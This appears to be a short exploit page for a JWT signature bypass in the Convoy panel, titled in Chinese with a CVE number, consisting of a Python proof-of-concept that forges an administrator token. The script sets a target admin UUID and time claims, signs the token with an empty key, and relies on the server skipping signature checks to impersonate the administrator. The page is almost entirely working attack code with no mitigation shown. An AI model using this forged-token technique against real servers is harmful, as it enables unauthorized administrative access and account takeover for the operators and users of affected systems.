CVE-2026-33746 Convoy JWT签名绕过漏洞

import jwt import time # Target user UUID to impersonate (Administrator) target_uuid = "admin-uuid-here" # Current timestamp current_time = int(time.time()) # Payload construction # The server only checks time constraints (exp, nbf, iat) payload = { "user_uuid": target_uuid, # Forge the user identity "iat": current_time, # Issued At "exp": current_time + 3600,# Expiration (1 hour later) "nbf": current_time # Not Before } # Since the server does not verify the signature (Missing SignedWith constraint), # we can sign it with any secret or an empty string. # The server's lcobucci/jwt library will skip the signature check. fake_token = jwt.encode(payload, key="", algorithm="HS256") print(f"Forged JWT Token: {fake_token}")